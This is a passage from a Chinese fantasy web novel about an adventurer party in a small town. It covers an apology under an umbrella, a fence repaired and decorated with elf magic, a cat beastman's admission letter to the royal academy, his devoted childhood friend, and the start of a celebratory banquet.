他垂着眼睛,睫毛被打湿了一些,显得更加浓密,额旁的羽饰垂下,甚至于看起来有几分脆弱。 那双眼睛,让她想起在学院读书时,半夜因为复习无法入眠辗转反侧的夜晚,站在窗前看 见的淡淡星光。 “找到了。”阿方索看她抬头,开口说。 “梅茜说,你出去了,我,带你回去。” 他的大陆语看起来有进步,虽然有些磕绊,但是已经不很笨拙。 “不要。”妮娜拒绝。 “为什么?”精灵疑惑。 妮娜没法回答这个问题。 “因为,你什么都不知道。”最终,少女把脸埋进小臂,声音发闷。 “嗯。”精灵点了点头,“我不知道。” 妮娜没想到能听到这样的回答,意料之外,情理之中。 无语凝噎,她瞪了一眼阿方索,有些生气地嘟了嘟嘴。 阿方索看起来一脸无辜,斗篷还撑在上空。 妮娜很快泄气了。 算了,和一个精灵计较什么。 “那你干嘛来找我啊?”妮娜没好气地说。 “这一次,”精灵歪了歪头,金色的发丝被雨打湿,随意地贴在脖颈和脸颊,反而显出了凌乱的精致。 他的眉眼在雨雾中变得柔和,声音轻哑,“我来带路。” 妮娜看着他,一阵风起,有雨滴打在少女脸上,随着面庞的弧度滑落。 妮娜沉默了很久,最终,她开口。 “……随你。” 沉默了片刻,妮娜又问。 “……你就这么一直抬斗篷着走?” 闻言,阿方索放下了手臂,他拿出木弓,手中微光闪烁,木弓自动变化,成为了伞的形状。 “哦,我带伞了。” ……诡异的方便。 两人并行在雨中,妮娜看了他好几眼,几次欲言又止,都没有被发现。 她发现,阿方索撑着伞,一路上目不斜视,一次眼神都没有分给她。 最后,还是妮娜忍不住开口。 “之前的事,对不起。”少女忽然开口。 说完这句话,妮娜紧紧抿住了唇,嘴角绷成了一条直线,心里有些忐忑。 “嗯。”精灵点了点头。 妮娜有点泄气,有点莫名的失望。 这个人,知道自己付出了多大的决心才说出这句话吗? 她不甘心,想要追问,自己也不知道自己到底想不想要答案,话就这样脱口而出。 “你……不在意吗?” “在意。”精灵回答,“但是,是妮娜。” “我们,是朋友。” 精灵的眼睛看向少女,神情平静,反而更让人难捱。 “朋友,可以包容。” 妮娜彻底熄了火,她别扭地偏过头,一路上再未发一言。 回到旅馆,艾伯特正坐在大厅等候,眼睛一直盯着门口,看到阿方索回来,他几乎立即就扑了上去。 他拿着一条干净的毛巾,对着精灵左擦擦,右擦擦。 “哎呀,怎么淋得这么湿漉漉。”艾伯特语气充满着心疼,隔着毛巾擦拭着精灵身上的水珠,想用力又不敢用力,十分纠结。 “梅茜说你出去找人,外面的雨越来越大,我等了好久,好担心。” 精灵平静地任他揉捏,偶尔被擦到脸颊,会下意识地眯起眼睛,刘海上有水珠滴落的时候,会主动配合毛巾蹭蹭。 好、好可爱。艾伯特感受着手上贴近的感觉,不禁红了耳尖,手上的动作变得迟钝。 妮娜接过侍者送上的毛巾和姜汤,看着旁边两人旁若无人地亲近,不禁面色有些复杂。 “也用不着你这么紧张吧?”妮娜撇了撇嘴,“你看他的样子,用得着你担心吗?” “要你管。”艾伯特转过头,变脸的速度飞快。 他刚要说什么,就看见妮娜身上披着毛巾和手里捧的冒着热气的汤水,一时话都卡在了喉咙。 “等等……所以,阿方索是去找你了吗?” 看着妮娜点了头,似乎还带点小骄傲,艾伯特难以置信。 原来在小镇里迷路,并且蹲在屋檐下淋雨,就可以有被阿方索发现并遮雨的机会吗? 活动还在吗?他现在就可以出去淋雨。 20. 闲情 昨晚的骤雨如同一场幻梦,早上雨过天晴。 被洗刷后天空显得格外澄澈,白云悠悠地飘在那,丝丝缕缕。 艾伯特在尼尔利家院子里,额头滑落几滴闪亮的汗珠,阿方索站在旁边,静静地看着他修理着栅栏。 爱丽丝和艾米艾尔待在更远一些的地方,小女孩好奇地探出头,猫尾巴一摆一摆。 双胞胎虽然年幼,但也瞪大了眼睛,头上毛茸茸的小耳朵一动不动,全神贯注地看着这个绿头发的大哥哥,看着他一点点扶起倒塌的木栏。 当最后一根木桩被稳稳插入土地,艾伯特终于松了一口气。 “很厉害。”阿方索说,他拍了拍手。 “嗯……只是一点很简单的工作啦。”艾伯特有点不好意思,摆手的速度明显慌乱,脸色更红,“……我以前经常做这种事情,所以比较熟练一些。” “之前就经常这样,帮忙修理一下坏掉的东西,替有事的同学独自打扫教室,还有一个人完成小组作业什么的…………” 回忆不太美好,这时候说这些有点煞风景。少年摇了摇头,换了个话题。 他退后两步,仔细打量着眼前的木栏。 “这么看,应该是没什么问题了。” “……不过,要是更美观一点就好了。”艾伯特喃喃,“可惜手边没有什么花种,有也来不及了。” 话音刚落,就见精灵从斗篷下伸出手来。 温润的光芒闪过,细细的藤蔓快速缠绕在了质朴的木栏之上。 令人喜爱的是,在缠绕过程中,一个个小巧玲珑的花苞也随之结出。 很快,栅栏开出了一朵朵五颜六色小花,随着绿色的枝条点缀在木栏间,别有一番意趣。 就算是向来自恃身为长姐要成熟的爱丽丝,看见这神奇的一幕,也忍不住“哇”了一声。 眼看弟弟妹妹也伸出了小手,她看向一旁貌美的精灵,尾巴翘起,大大的眼睛亮晶晶,充满了期待。 阿方索点了点头。爱丽丝欢呼一声,牵着弟弟妹妹凑到木栏前。 三只小猫对小花摸摸闻闻的样子着实可爱。 爱丽丝小心翼翼地采了两朵小花,一朵黄色的放在艾米的头上,另一朵浅蓝色的,她夹在了艾尔的耳边。 两个小小猫咯咯直笑,艾伯特看了看他们玩耍的样子,又眼神温柔地看向阿方索,语气赞叹。 “这样的话,不禁更牢固,还更漂亮了呢。” “谢谢你,阿方索。”艾伯特看向身边人的眼睛,语气有些羞涩。 精灵点了点头,他对艾伯特笑了一下。 “这样,你开心。” 艾伯特心里一动。还想再说什么,就被一道童声打断。 “阿方索哥哥……”爱丽丝跑了过来,昂着头看着他,有点犹豫,但还是鼓起勇气开口。 “你可以让这些花开久一点吗?”她小心翼翼地问道,手背在身后,“我想让哥哥回来的时候也看见。” “……只是,哥哥最近很忙,一般一周才会回来一次。” 精灵垂下眼眸,长长的睫毛遮住了半边眼睛,他声音清冷,但并不疏离。 “只要是花期,它都会在的。” “那花期是多久呢?”女孩踮起脚尖,迫切地追问。 “一个春天。” 得到肯定的答案,爱丽丝欢呼了一声,她伸出双手,捧到了精灵面前。 她小小的掌心内,是一朵小小的花朵,花蕊是绿色的,花瓣则是在阳光下闪着金色的光泽。 “这是我找到最好看的花,也很像哥哥你。”小猫的脸红扑扑的,“送给你,好不好?” 阿方索歪了歪头,他的手指轻轻碰到了爱丽丝的掌心,把小花拿了起来。 “谢谢。”他说。 爱丽丝害羞地笑了笑,没好意思说话,她低下头,一溜烟跑去找弟弟妹妹们了。 阿方索望着爱丽丝和艾米艾尔玩闹的身影,把小花放进了衣服里贴近心口的内兜。 艾伯特看着他们的一举一动,心里有一点点说不上来的的酸涩。 ……什么啊,本来花就是阿方索变出来的。 他有点不爽,但是从始至终一言未发。 做人,也不能太扫兴。 直到爱丽丝离开,艾伯特才抬起了手,轻轻拉了拉阿方索的衣角。 精灵侧过脸,柔顺的金色发丝擦过眼角,眼神平静地看向他。 “快到午饭时间了,不然我们先回去吧。”艾伯特轻声提醒,语气柔和却坚定。 “我最近和诺曼学了下怎么做奶油蘑菇汤,还向米莉阿姨借了下厨房,”他的声音带上了些许恳切,还有一丝不易辨明的忐忑,“你想尝尝吗?” 精灵的眼睛亮了一下,他快速点点头。 “嗯。” “那太好了!”艾伯特笑容变得灿烂,周围似乎要冒出粉色的小花,语气轻快,“那,我们走吧!” 诺曼刚从外面回来,他踏进院子没走几步,就和出来挑水的米莉撞了个照面。 诺曼率先笑着打了个招呼。 “米莉,挑水去吗?要不然让我来吧。”诺曼热情地说。“这几天来蹭饭,我都有些不好意思了。” “不用啦,这点小事不用客气。”米莉笑眯眯地说,“我都听维特说了,你们不仅救了我,还保护了小镇,该是我们谢谢你们才对。” 不得不说,这猫也是真的仁义。 诺曼打着哈哈,“那是,那是,应该的。” “别这么说。而且,在小事上,你们也帮了我们家很多呢。” “这话怎么说?”诺曼好奇地挑了挑眉。 “诺曼先生不就是经常陪艾尔艾米玩吗?” “啊,如果那个也算的话,真是我的荣幸了。” “别谦虚啦。就今天来说,我们的木栏不小心倒了,也是幸好有艾伯特在。”米莉笑着补充,“维特爸爸这几天春忙,维特这孩子又不着家,木匠在镇子另一边,我又不懂这些,真是帮大忙了。” “艾伯特啊,那不奇怪。”诺曼笑了,“别看他是贵族家的少爷,在学院里可没少干这种事呢。” “要我说,他有点滥好人,也不太懂得拒绝。不过他自己肯定不会承认这一点就是了。”诺曼耸了耸肩。 米莉也笑了,她摇了摇头,“不过无论怎么说,我觉得艾伯特先生是个很好的人呢。” “不聊了,我先去打水了。”她挥了挥手里的水桶,“吃完饭还要给艾尔艾米洗澡呢,他们可爱闹了。” 诺曼点点头,错身让路,看着米莉的背影消失在拐角,他转过头,哼着歌,向房子的门口走去。 刚推开房门,诺曼的歌声就戛然而止。 这个角度,诺曼刚好可以看见厨房里并肩的二人,阿方索没说话,但能看见他认真的侧脸。 特别还有艾伯特努力抑制住悸动的表情和没抑制住的、拉丝的目光。 ……还是不打扰了。诺曼慢慢向后挪动几步,原路返回。 虽然平时他确实非常喜欢没事找事和凑热闹,但直觉告诉他,如果此刻凑过去,以后就真的有被艾伯特暗杀的风险了。 诺曼远离了厨房。 轻轻把门掩上,又发现自己无处可去。 他可不想走太远,毕竟一会还要吃饭呢。 想了又想,诺曼只好蹲在在院子门口,靠着结实的木门,随手捏了朵花在手中转着玩解闷。 忽然,一道白色的身影从小路尽头走来。 诺曼定睛一看,这不是利恩吗? 这个时间,他不应该在给维特送饭吗?怎么会出现在这里? 白色的犬兽人看见了蹲在门口的诺曼,礼貌地招了招手。 “嗨,诺曼先生,”利恩的尾巴摇了摇,“您怎么不进去?” 诺曼扯了扯嘴角。 “现在进去的话,我可能就活不到拿尾款的那一天了。”他故作深沉地说。 利恩有些疑惑,但很快恢复了平常的表情。 不知道有没有理解,但他明显选择了接受。 “我来帮维特取点东西,他有些笔记落在家里了。”他声音轻快地说。 利恩进去了,又很快出来。 进去的时候是两手空空,出来的时候,手里捧着的书本基本比他上半身还高。 看着面前壮观的景象,诺曼忍不住感叹了一声。 “我的天,也得亏你记得住这么多。”他不禁惊叹。 “还好,习惯了。”利恩在诺曼身旁坐下,把书放在膝盖上整理起来,动作利落。“再整理一下,就可以送过去了。” 诺曼盯了一会儿,忍不住开口。 “你这样多久了?” “您是指整理这些东西吗?”利恩抖了抖耳朵,“记不得了呢,我们一直都这样,已经好多年了。” 诺曼沉默了一会儿,忽然问。 “……梅茜这几天经常去找维特,你就没有什么想法吗?” 这句话看起来前言不搭后语,但是诺曼已经憋了很久了。 按理来说,自己一直玩的好的小伙伴,忽然遇见了一个外面世界的人,还是在小伙伴领域上的专家,作为一直在身边陪伴的人,就算只是普通朋友,也多少都会有点吃醋。 而且这俩明显不是。 但利恩不仅仍然任劳任怨,甚至毫无怨言。 真是奇了。 “梅茜女士是王都来的学者,她愿意指导维特,是难得的好事。我没有什么不高兴的。”利恩没有抬头,淡淡地回应。 “真的吗?”诺曼不置可否,他一边揪着手上小花的花瓣,一边状似漫不经心地问,“你就不担心梅茜和他说什么?” 现在的收益在小镇里固然可观,但其实也没有发挥这个品类的全部实力。 维特如果能去王都的话,按照他的能力,假以时日,无论是财富和名声都不可估量。 按照诺曼的经验,哪怕以最坏的打算,维特的学历和身份不足以让他进入学院进行专门的研究,但靠着那股机灵劲和天赋,有个落脚之地也不算艰难。 起家之后,再积累些财富和人脉,有些事情就可以变得很轻松。 “说不定,他会离开这镇子哦。”诺曼有点恶趣味地补充。 出乎他的意料,利恩没有生气,反而笑了笑。 他停下手里的活计,把鬓边的碎发绕到耳边,语气温柔,却带着不可置疑的意味。 “不会的。”他简单地回答。 诺曼被这个答案震了一下,他眯了眯眼,哼笑一声。 “除了日常生活,维特的牵线贸易和客户维持,都是你在处理吧。” “你也不简单啊。” 利恩笑了笑,没有正面回答。< /p>“因为维特是天才啊。”他的眼睛弯成月牙,“我一直知道的。” 从很久以前,第一次牵起那只幼小的手,第一次听见那道清脆的声音,看着他闪闪发亮的眼睛…… 利恩就知道,他愿意为他付出一切。 这件事情,就已经无需其他证明。 利恩不需要维特属于他,也不需要维特属于任何人,任何地方,更不需要维特向他解释什么。 他所需要的,只是那个一起长大的小猫,身旁能留有利恩能站立的一席之地而已。 只要是在维特身边,在哪里都可以。 “他去哪里,我跟着就是了。”利恩继续手里的活,无比自然地说。 “好了,我收拾完了。”没等诺曼回应,白发少年就站起身,捧起了那摞书,动作熟练。 “我要给维特送去了,诺曼先生,再见。” 利恩点点头,快速离开了。 诺曼手里的花飘到了地上。他看着利恩离去的身影,忍不住咋舌。 现在年轻小伙子,都这样了吗? 有了艾伯特,又来个利恩…… 难道真的是他跟不上潮流了?? 算了,爱情啊。诺曼摇了摇头,又揪了一朵小花,继续数着玩。 真是让人难以自拔。 梅茜这几天闲着的时候,经常去维特的那个秘密基地。 也不干什么,就在翻一翻维特的笔记,看看他的实验,偶尔指出几个错误。 这猫平时嘴硬的很,在这方面倒是截然不同。 每次梅茜指出问题,他不会第一时间答应,但一定会去检查,有则改之,无则无视。 这一点,梅茜很欣赏。 维特后来也打听到了阿方索拒绝的原因,总算彻底死了这份心,转头继续专研他的仿制药剂事业。 这一天,维特指使利恩取笔记,叽里呱啦的说了一大堆,一般人根本听不明白他在说什么,可利恩却面不改色,只听一遍就点了头。 梅茜其实觉得真的有点神奇。 但是维特似乎习以为常,给竹马安排完活计,就又一头扎进了实验。 现在,他带着护目镜,正小心地往玻璃瓶中滴入一滴液体。 棕色的溶液缓缓滴落,很快融入透明的药剂中。 维特满怀期待地盯着药剂,瞳孔都不自觉间放大几分。 然而,事与愿违。玻璃瓶震了几下,最终死寂,飘出缕缕黑烟。 他悲惨地哀叹了一声。 “虽然也算不上没有起色,但是总觉得差点什么。”维特喃喃自语,“如果能用上‘里伊索’……” “别妄想哦,”善魔原本正翻着随手拿的一本书,闻言危险地绕了绕小辫,“阿方索都拒绝了,公会也已经通知了。” “算了,当我没说。”维特更加命苦地叹了口气,举双手投降。 他记录下这次的数据,准备开始下一场实验。 “对了,”梅茜放下手,突然问道,“你觉得利恩怎么样?” “唔,问这个干什么?” 维特手上动作一停。 “别废话,说就行。” “他啊?嗯……情商高,长得帅,说话又好听,人品也相当不错,大家好像都挺喜欢他的?”维特一边回想着两人长大时的记忆,一边举例。 “……嗯,我也挺喜欢的。”他挠了挠脸颊,难得有些卡壳。 不知不觉间,脑中浮现出了那个人,想到白色犬兽人对自己微笑的样子,从小到大,想起他们在各时各处做过的事情。 心跳莫名有些加快,维特强行压下。 他数了数,把自己说得都有点咋舌。 “这家伙,根本没有缺点吧。”最终,维特摇摇头,总结道。 梅茜看着他,笑而不语。 维特被他看得头皮发麻,忍不住摸了摸自己的手臂,“怎么了?我说错了?” 他觉得自己说的是实话啊?又怎么了? “没什么,”梅茜弹弹指甲,“只是想告诉你,研究很重要,支持你研究的人也很重要。” “知道啦知道啦——”维特瘫在椅子上,长长叹了一口气,“我知道,没人比利恩对我更好了。” 他转了一圈椅子,又转回实验桌上,继续埋首药草。 人在木屋,研到失联。 梅茜看着他这幅严肃奋身于药剂学事业的样子,不自觉弯了弯嘴角。 想来她当年也是呢,当时还不到二十岁,就一个人来到王都求学。 那时候的梅茜,住在一个小小破出租屋里,环境相当一般,还是在顶层。 每逢下雨都得手忙脚乱地把器材搬到一边,还要一边发愁潮湿的空气会不会对实验造成影响。 啊,梅茜有点感叹。 真是一点都不怀念呢。 不过…… “对了,你想去王都吗?” “做点研究,做点生意,做点……有意思的事情。” “比如说,上上学什么的?” 维特本来还在捣鼓他那一堆乱七八糟的药剂瓶,梅茜说王都时,他没有抬头。 但听到最后一句话时,维特的手停了下来。 他缓缓抬起头,愣愣地看着她,似乎在消化这句话的分量。 理解梅茜说的话之后,维特的一双眼睛,顿时亮了起来。 21. 猫狗 通知书送到的那个日子,注定是尼尔利家会永远铭记的一天。 那天天气很好,维特的父亲从春忙中歇一口气,维特也放下了手中的实验,利恩陪着他回了家,冒险团其他人也在。 诺曼和维特的父亲聊着今年的天气,梅茜给妮娜和米莉展示最近新学的、可以维持头发茂密的魔法。 “所以,你们就打算走了?”米莉问。 “也就在这几天了。”梅茜点点头,“在这里待的时间比预计的要久。魔晶的认定已经通过,前两天公会的人也到了,交接的事情都已经差不多。” “等魔晶送回来,也是时候去下一个委托了。” “也是。”米莉点头,“不过,木林镇随时欢迎你们再来,我们家也是。你们走了之后,估计爱丽丝他们要伤心一段时间了。” “小孩子嘛,没办法。”米莉有些无奈。 “也别这么说,孩子的感情有时候更加纯粹真实。”梅茜把发丝拨到耳后,转过头看向身旁的少女。 “对了,还有件事,妮娜……嗯?” “妮娜,妮娜?你在走神吗?” 妮娜原本眼神飘向角落,听到梅茜叫她,整个人抖了一下,才猛地回神。 “怎,怎么了?”妮娜结结巴巴,“有事吗?” 梅茜看着她这样,没有追问,也没有挑破,只是戳了戳妮娜的脸颊。 “听说你跟阿方索道了歉,我很高兴。” 妮娜红着脸躲开了,虽然还是避而不谈,但是意外没有嘴硬。 她低头呷了口水,假装无事发生。 利恩看着维特,发现他在偷偷瞄向阿方索。 作为竹马,他清晰分辨出了这只猫的此刻的心情,大概介于和“好想再看一眼,但害怕被发现”和“这个人怎么能长得这么好看”之间。 维特从小性格就比较独特,对大部分人都没什么好脸色。 但是颜控这一点,真是有点说法的。 利恩面色未改,他悄悄走过去,掐了一把维特腰上的软肉。 维特被吓了一跳,差点露出破绽,用尽全力才抑制住惊呼,尾巴毛都炸了起来。 他转过身,发现是自家发小,又不好说什么,只能瞪了一眼一脸和善的犬兽人,有点不自在地收回了目光。 阿方索明显没有注意到维特刚才的小动作,在安全的时候,他似乎不同于战斗时那样警惕,看起来放松了许多。 精灵和那个年轻的团长站在角落,似乎在聊着什么,主要是艾伯特在说,阿方索则时不时点点头,偶尔露出一抹浅笑。 而每当他笑的时候,对面就说得更加起劲。 房间里格外的热闹。 忽然,一个小型的魔法阵出现在木桌最中间,瞬间吸引了所有人的目光。 维特有预感那是什么,他屏住了呼吸。 片刻,光芒散去,一个精致的信封出现在中央。 所有人都陷入沉默,房子一下子安静下来。 在善魔眼光的示意下,维特拿起了信件。 在他自己意料之外,他的手没有出汗,甚至连指尖都没有发抖,维特自己都觉得惊奇。 就好像那封信里装着的不是可以改变他命运的事物一样,维特拿起的动作和平时拿起任何一个信封都没有区别。 “亲爱的维特·尼尔利先生,”他打开信封,一字一句念道。 面前的纸张如此整洁,又如此昂贵,上面的字体明晰可辨。维特却觉得自己从来没有读过这样复杂的文字。 他的目光落在最后。 “……经过多方的考量,学校认定你有在王都学院接受教育并且完成学业的资格。” “请准时到达学院,并办理入学相关手续,过时不候。” 读完这一段,他缓缓吐出一口气,目光扫过周围的人,最后停在了利恩身上。 他把通知书递给了米莉,酝酿了很久,才开口。 “……还是第一次有人叫我先生。”维特的表情欲哭欲笑,神情复杂,“听起来真奇怪。” “以后你会习惯的。”梅茜说,“这就是你的获奖感言吗?” “我真的不知道该说什么了。”维特捂住了自己的脸。 “呜呜——”米莉手上捧着带有烫金花纹的信封,忍不住开始抽噎,落下泪来。 身旁的男人轻轻拍着她的背,另一只手拿着手绢轻轻擦拭米莉的眼泪,尾巴悄悄地勾住了妻子的尾尖。 维特站在另一旁,难得有些无措。 听见米莉的哭声,他抬起头,手落在母亲的肩上。 动作有些笨拙,同时也有抑制不住欣喜,眼神也时不时在那封精致的文件上停留。 利恩安静地站在他的身边,双手放在身前,也紧紧交握着。他紧紧盯着维特,尾巴不受控制地快速摆动。 小孩子们正在睡觉,房子隔音一般。爱丽丝听见吵闹声,顾不上穿鞋,赤脚就跑了出来。 看见妈妈在哭,小女孩有些慌张,跑过去扯住了她的裙角,然后就一把被抱了起来,被米莉抱在怀里蹭来蹭去。 她不明所以,有点紧张,下意识看向旁边站着的哥哥。 “爱丽丝,哥哥要去王都学院了。”维特看向自己的小妹妹,声音放柔,“妈妈没有伤心,是太高兴了。” 爱丽丝虽然尚未明白王都学院是什么意思,但听明白了声音里暗藏的喜悦,她眨眨眼,笑了起来。 “好啦,米莉,维特能去王都学院了,这是好事啊,不要哭了。”维特的父亲轻声安慰道。他一身古铜色的皮肤,面容却温润质朴,一双大手上布满茧子。 “我……我知道。”米莉有些抽噎,“就是因为太好了,我才忍不住哭。” “谢谢,谢谢各位……”米莉看向一旁的冒险团,语气充满了感激,“这样的恩情,真是一辈子都还不清了。” “好了,我也只是写了封推荐信。”梅茜摆了摆手,安慰道,“通知书能真正下来,还是你家维特确实有本事在。” 虽然梅茜嘴上说的那么简单,好像只是写了一封信。 但且不算时间、精力上的消耗,光论物质上,就是一笔不小的开销。 信封、邮费、论文真实性的检测费、人情往来等等等等,都是不小的开销。 再加上维特本身的家世也不够出众,之前又做过灰色地带的生意,有些程序还是有必要打点和花费的。 那多收的一百金币,估计全砸到里面去了,更别说梅茜自己大概也有不少补贴。 不是一笔小钱,不过梅茜觉得值得。 她对维特,也算是惺惺相惜。 两人家世相似,都没有华贵的身世,研究方向也相似,都是在药剂方面有着建树,不过维特比她多了一个利恩。 与其看着这样一个天才被埋没,梅茜更愿意推他一把,让他接触更多的世界。 同时,她也承认自己有现实的打算。 这无疑是一笔不错的投资。假设维特某一天真能出人头地,梅茜能够获得的回报,一定会比今天的多得多。 况且,从心理上,她也期待着,这只小猫还能不能做出更有意思的事情来。 就像种一棵树,你为它挖了坑、支了架、埋了土,然后转身离开,等待哪一天再回来,就能看到它的果实。 梅茜很想看看维特的果实是什么样子的。 她拭目以待。 这件事很快传开,还没到下午,整个木林镇都知道了,大家都为此沸腾。 镇长是个和蔼的老头,听见这件事,大手一挥,决定专门开个酒宴庆祝一下,费用全包。 既庆祝镇子里出了第一个王都学院的学生,也感谢曙光冒险团为了镇子的付出。 利恩告诉维特举办酒宴这件事时,两人正在维特的秘密基地里整理实验笔记和器材,看看哪些应该带走。 “至、至于吗?”维特听到这个消息,表情有点微妙,他已经很久没有去过人这么多的地方了,“我也要去?” “镇长给冒险团和我们专门准备了包房,不过作为主角,当然还是要去跟大家露露脸啦。”利恩捏了捏他的脸,笑道。 “不过你还没到喝酒年龄,不能喝酒哦。” “知道了——”维特耷拉下耳朵,“也只有你一直盯着这个死理,我这个年纪镇子里订婚的都一大把了。” “可是维特也没有订婚呀。”利恩揉了揉他的头,眼睛弯弯,“要是和我订婚的话,我就可以不管维特喝酒哦。” “你想得美。”维特脸有些红,他扭过头,“谁要和你在一起,不喝就不喝。” 利恩闷笑了两声,没有回答,只是轻轻勾住了对方的小指。 两人拉拉扯扯,没人注意到窗边一闪而过的身影。 此时被米莉拜托告诉维特酒会举办前来寻找结果无意间撞到的诺曼:? 看来是用不到他了。 太太,您儿子不对劲,您知道吗? 最近是什么运气,怎么总是撞见这种事情。 哦吼,还有傲娇和欲拒还迎看呢。 真是的,最近的运气也太 玄乎了,要不然找梅茜算算好了,她好像对占卜也挺了解的。 不要在这里调情可以吗。还有人在呢。 其实想想自己也挺多余的,人家也不知道自己在这,还是先走吧。 诺曼毫无留恋地离开了,背影有些沧桑。 而在他离开不久,两个人就出了门,坐在院子的台阶上。 维特看着眼前的景色,忽然有些恍惚。 这个院子已经看了多久了?好像不记得了。 反正身边这个人一直在,就觉得没有记的必要。 “到时候,你也要去王都吗?”维特问。 “当然,我不想和你分开。” 利恩回答得很快,维特都怀疑他甚至没有思考。 可是他莫名竟然不想质疑,张了张口,还是默默闭上了嘴。 “那天,你说的话,梅茜都跟我说了。”利恩声音有些低。 “啊,呃,所以呢?”维特惊了一下,又移开眼神,心里悄悄对那个善魔哈了下气,又觉得有点不好,连忙收了回去。 “我,我就实话实说啊,没别的意思。” 利恩摇了摇头,一阵风吹来,雪白的发丝随风舞动。 他眯起眼睛,“也只有维特,才会觉得我这么好。” 维特不理解他为什么这么想,也不理解自己。 眼前这个人明明已经认识了这么久,为什么现在看着他,心跳还是会跳得这么快。 “反正,你不怕我把你卖了就行。”维特硬着头皮说,“到时候写个契约,就说你任由我处置,我想让你做什么就做什么,不做不行。” “行啊。”利恩一口答应,”不过,那你也得有对应的条例吧?不然,你哪天抛下我了怎么办?” “不怎么办。”维特坏笑一下,“什么契约能绑得住我?” 面对这样不合理的说法,利恩没有反驳。 他转过头,在对方的目光下,利恩握住了维特的双手,珍而重之地放在了自己的心口。 维特从来没有看见过他这样认真的样子,也从来没有听过他这样虔诚的语气,仿佛在念诵一段祷词。 “如果契约无法绑定你,那就用我的心吧。” 利恩说。 维特看着他,目瞪口呆。 这个人……什么时候会说这种话了!? 在旅馆大厅的沙发上,诺曼瘫在那里,四肢无力,目光无神。 “我感觉自己要升华了。”诺曼幽幽地叹出一口气。 艾伯特正坐在一旁擦剑,阿方索回房间休息了,他闲着无聊。 忽然听见诺曼的这句话,年轻的团长不禁缓缓打出了一个问号。 ? 这奸商还有升华的一天?真是见鬼了。 不用艾伯特说话,诺曼看表情就知道这小子在想什么。 “白教你奶油蘑菇汤了。”他哼了一声,“没想到吧,其实我只教了你一种做法。” “我手里可是掌握着八种奶油蘑菇汤的做法,包括但不限于改良版,至臻版,完美版……” “现在改口,还来得及。” 艾伯特没想到他还留着这种后手。 他不得不收起嫌弃的表情,把剑放到了一边,强行调整到礼貌模式,缓缓扯出了微笑。 “怎么会呢,我可是一直很尊敬学长的。”艾伯特目光真诚,“而且,我刚才什么也没说啊。” 诺曼蔑视地哼笑了一声,出息。 两人聊天时,门口有一道窈窕的身影走来。 “别瘫着了,刚才遇见了镇长,就正好把酒宴的邀请函给我了。”梅茜走过来,把一张卡片扔给了诺曼。“你们两个既然在,就先拿着吧。” “接着。” 诺曼立马伸手接住。 看着上面的无限畅饮,他总算恢复了点精神,一个鲤鱼打挺,就从沙发上蹦了起来。 艾伯特也伸手接过,他看着上面的啤酒样式,眼神动了动。 毕业之前,他不到饮酒的年龄,就算后来到了,也没有饮酒的习惯;毕业之后,他还从未饮酒过。 现在有机会尝试一下,好像也不错? 不知道,阿方索能不能喝酒? 一想到精灵喝酒的样子和可能的醉态,艾伯特就有些忍不住耳朵发红。 诺曼看他心神荡漾的样子,咳了一声。 发现没有用之后,诺曼拍了拍手,隆重宣布。 “好啦,管他什么烦心事,都先放下。” “一切,都等酒宴结束再说吧~” 22. 酒宴 日暮已昏,木林镇的这个晚上,难免比其他的夜晚要更热闹一些。 酒宴举办的地点很巧,就设在在冒险团第一次遇见维特的那个酒馆。 ……好吧,其实也没什么可惊讶的,因为小镇只有这一家酒馆。 但是酒确实还不错。 诺曼手里拿着木质的啤酒杯,一边喝着,一边笑眯眯地打量着对面的几个小朋友。 毕竟是酒宴,大家都轻装上阵,没有带平时的武器。 就连阿方索,都把平时随身佩戴的木弓放在了旅馆。 维特和利恩刚走没多久,他俩按时赴宴,给冒险团敬了酒。 当然,维特敬的是果汁。 又下楼露了个面。维特胡言乱语地做了一番主题为“怎样成为小镇有为青年”的演讲。 可喜可贺,演出相当成功,获得了一众掌声,甚至还有几滴感动的眼泪。 应付完毕,一猫一狗就找了个借口,偷偷躲了出去,两人溜之大吉,不知道去做什么。 不过没关系,诺曼也不想知道。反正他今天打算看的乐子主要不是他们。 男人嘴角的笑容有些不怀好意,指节无意识地扣着桌面。 一副好以暇待的样子,实在是毫无掩饰。 艾伯特有点无语,但他确实紧张,也有一丝隐秘的兴奋。 他对自己的酒量其实并不确定,担心会失态,有些踌躇。 手指摩挲着粗糙的杯壁,艾伯特对着澄黄的酒液出神,迟迟没有下口。 妮娜也从未饮酒过,也同样抱有期待。她要的是更为温和的奶酒,少女犹豫了一下,捧起杯子,小心抿了一口。 味道比想象中的更为温和,应该是牛奶中和了酒精的浓烈。她眼睛一亮,又喝了一口。 艾伯特看见妮娜已经开始享受,有点不甘心,他又瞟了一眼旁边的精灵,咬了咬牙。 一杯酒而已,怎么也不至于……这么差吧? 不想在喜欢的人面前丢脸,他拿起酒杯,以壮士断腕般的豪气喝了一口。 这一口没让艾伯特醉倒,但味道属实是一言难尽。 苦涩的味道在他嘴中炸开,艾伯特的脸皱成了一团,又强行进行表情管理,硬生生把自己掰了回来。 ……好难喝,完全不是他的口味。 诺曼如愿以偿,手中的酒杯重重砸在桌子上,弯着腰哈哈大笑,眼泪都出来了。 艾伯特好不容易恢复的表情又扭曲了一次,他偷偷看了一眼阿方索,发现他正一脸疑惑地看着诺曼,似乎不太理解为什么。 艾伯特松了一口气,但是耳根有些发红。他放下酒杯,瞪了一眼还在擦眼泪的黄发男人。 “喝个酒而已,至于吗?” “至于。”诺曼收回手,壮作严肃地回答。 艾伯特没忍住磨了磨牙,看着团长有暴起的迹象。诺曼见好就收,他努了努嘴,立马改口。 “哎呀,第一次喝酒,这样都是很正常。”诺曼正襟危坐,“像团长这样,没有一口吐出来,已经是万里挑一了啊。” 妮娜没忍住笑了一下,不小心呛了一口酒,捂住嘴不断咳嗽。 艾伯特仍然有些不满,但是也不好再多说什么,只好低头又喝了一口啤酒。 这一次,团长没有再失态。 阿方索无疑是他们之中最冷静的那个,他没有点酒,面前暂时空无一物。 从始至终,阿方索没有表现出任何的好奇或者失笑,于是在那里静静地看着,仿佛是一个局外人。 而从外表看来,精灵出尘的模样,也确实与这个有些俗气的房间格格不入。 不过,善魔倒是很想看看他入的样子。 梅茜嘴角勾起,小臂搭在在桌面上,撑腮看着一旁的精灵。 “话说,小阿方索,你的酒量怎么样?” 阿方索摇了摇头,“没喝过。” 精灵祖地其实有酿酒,一般庆典的时候会拿出来供应。 不过他本来出门就很少,没有哪个精灵会专门送酒来给他。 就算有时参加庆典,阿方索也很少靠近共饮的地方,因为年龄不够,也因为长老的嘱咐,出门时最好不要离他们太远。 所以确确实实并未饮酒过。 